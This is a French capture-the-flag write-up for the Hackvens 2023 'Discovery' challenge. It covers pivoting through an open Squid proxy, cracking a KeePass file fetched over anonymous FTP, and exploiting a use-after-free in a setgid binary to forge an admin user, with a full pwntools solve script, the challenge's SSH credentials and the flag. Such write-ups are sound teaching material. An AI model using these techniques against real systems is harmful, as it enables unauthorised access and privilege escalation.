Hacker Challenge

Hackvens 2023 - Write Up PWN- Discovery

Cette fois-ci, une IP nous est donnée. Après un scan, on remarque que le port 3128 est ouvert...

Par :

Bdenneu

November 28, 2023

Enoncé

‍

52.47.125.205

Reconnaissance / Obtention d’un shell

‍

Cette fois-ci, une IP nous est donnée.
Après un scan, on remarque que le port 3128 est ouvert.
Il s’agit d’un service squid-http qui agit comme un proxy web.

‍

Un squid proxy, tout ce qu’il y a de plus classique

‍

Après avoir ajouté « http 52.47.125.205 3128 » dans le fichier « /etc/proxychains.conf », il est possible d’accéder au réseau interne au travers de ce proxy, et de relancer le scan, sur 127.0.0.1, en ajoutant proxychains devant nos commandes.
On remarque alors 3 ports ouverts:

  • 21
  • 22
  • 3128

‍

Le FTP autorise l’authentification anonyme, et nous permet d’obtenir le fichier db, qui est un fichier keepass

‍

file db

‍

En tentant un bruteforce avec rockyou, on découvre le mot de passe: ‘pescado’.

‍

Pétage de hash en règle

‍

Ce qui nous permet d’obtenir les identifiants ssh:
boissonchaude:npjYSaFE0ysf5pjMW960

‍

Le contenu du keepass

‍

‍

Allez boom, un shell user

‍

Elévation de privilèges

‍

Dans le home de boissonchaude, on remarque un binaire setguid:

‍

Oh, un binaire à pwn !

‍

Le binaire « program » qui est fourni est un exécutable linux x86-64.

‍

file program

‍

En termes de protections:

‍

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • No canary: Pas de protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • PIE: Les adresses du programme seront aléatoires (à un offset près

)

checksec program

‍

Reverse

‍

Il s’agit d’un système de messagerie, qui propose plusieurs choix :

‍

lancement du binaire

‍

  • Create a new message

‍

Create a new message

‍

Le programme lit 0x100 bytes depuis l’entrée stdin (entrée utilisateur), alloue un buffer « message » de la taille lue avec malloc, puis les y copie.
L’adresse du buffer est stockée dans rbp-0x10.

‍

  • Delete unsent message

‍

Delete unseen message

‍

Le programme libère le buffer « message ». L’adresse du buffer n’est pas remise à 0.

‍

  • Register your username

‍

Register your username

‍

‍

Le programme vérifie l’adresse pointée par rbp-8. Il s’agit d’un buffer associé au username.
S’il est déjà alloué, il le libère.
Ensuite, il vérifie que le nom d’utilisateur n’est pas admin.

‍

Vérification du username

‍

Si c’est bien le cas, il alloue une structure S de taille 0x10 (16).
Ensuite, le programme alloue une nouvelle structure de la taille du username, et l’y copie avec strcpy.
Les premiers 8 bytes de S contiennent un pointeur vers le username, et les 2 bytes d’après contiennent un 0. Au vu de la fonction « User status », ces deux bytes correspondent à l’état du compte (0 => inactif, 1=> actif).
Enfin, l’adresse de username nous est affichée avec un printf.

  • Delete Username

‍

Delete username

‍

Le programme vérifie que l’adresse pointée par rbp-8 (le buffer username) n’est pas vide. Si elle est allouée, il va libérer l’adresse de la chaine de caractère du username, puis la structure username. L’adresse du buffer n’est pas remise à 0.

  • Read the flag

‍

Read the flag

‍

Le programme vérifie que le username est bien admin. Si oui, il affiche le contenu du fichier ‘/flag.txt’.

  • User status

‍

User flag

‍

Le programme affiche le username enregistré, ainsi que son activité.

  • Exit

‍

Quitte le programme. On a pas vraiment besoin d’un screen là 🙂

‍

La vulnérabilité

‍

Le problème ici, est une vulnérabilité Use After Free. En effet, il n’y a pas de vérification sur le fait que le username soit alloué où non. En effet, le pointeur n’est jamais remis à 0.
Si génère une structure username, et qu’on la supprime ensuite, le pointeur vers cette structure reste présent, sans que le bloc ne soit alloué. Ainsi, il est possible d’écraser la structure associée en la réallouant, puis en y inscrivant les données voulues.

‍

Libération du username, magnifiquement fait via Paint.Net 😀

‍

  • Sur l’état 1, register username a été appelé et le username a été alloué (zone rouge).
  • Sur l’état 2, on delete username, mais le pointeur de username reste toujours présent (il n’est pas vidé).
  • Sur l’état 3, on alloue un message (zone jaune), qui va écraser la structure username, et qui nous permettra de créer un username personnalisé, en y inscrivant une adresse, puis un entier.

‍

Exploitation

Voici une méthode pour devenir l’utilisateur admin:

On alloue un username, puis on le supprime. Supposons qu’il soit à l’adresse A. malloc a alloué puis libéré deux blocs de taille 0x20 (la structure username dans le bloc X , à l’adresse A, et la chaine de caractère dans le bloc Y, à l’adresse A+0x20).

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A (car libérée en dernier). On pourra y écrire l’adresse du bloc Y (A+0x20), puis l’entier 1, pour mettre l’était à actif. En effet, on réécrase la structure username.

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A+0x20 (car libérée en deuxième). On pourra y écrire admin, pour y forger un faux nom d’utilisateur.

‍

Solve.py

from pwn import *

#Connexion ssh à distance
s = ssh(host='127.0.0.1',
    user='boissonchaude',
password='npjYSaFE0ysf5pjMW960',
port=22)

r = s.run(['/home/boissonchaude/program'])

#On alloue un username
r.recvuntil(b'Your choice: ')
print(r.sendline(b'3'))
r.recvuntil(b'Your username: ')
print(r.sendline(b'khacktus'))
data = r.recvuntil(b'Your choice: ')
addr = int(re.findall(b': ([0-9]*)\n', data)[0])
print("leaked addr: %08x"%addr)

#On supprime le username
r.sendline(b'4')
print(r.recvuntil(b'Your choice: '))

#On alloue un message par dessus le username
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(p64(addr+0x20)+p64(1))

#On alloue un bloc message avec le username 'admin'
print(r.recvuntil(b'Your choice: '))
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(b'admin')
print(r.recvuntil(b'Your choice: '))

r.interactive()

‍

‍

L’exploit en image 🙂

‍

FLAG

‍

HACKVENS{pr0xY_@Nd_l34k5_f0R_Th3_w1N!!@#}

‍

Que savent les hackers sur votre entreprise ?
Faire le test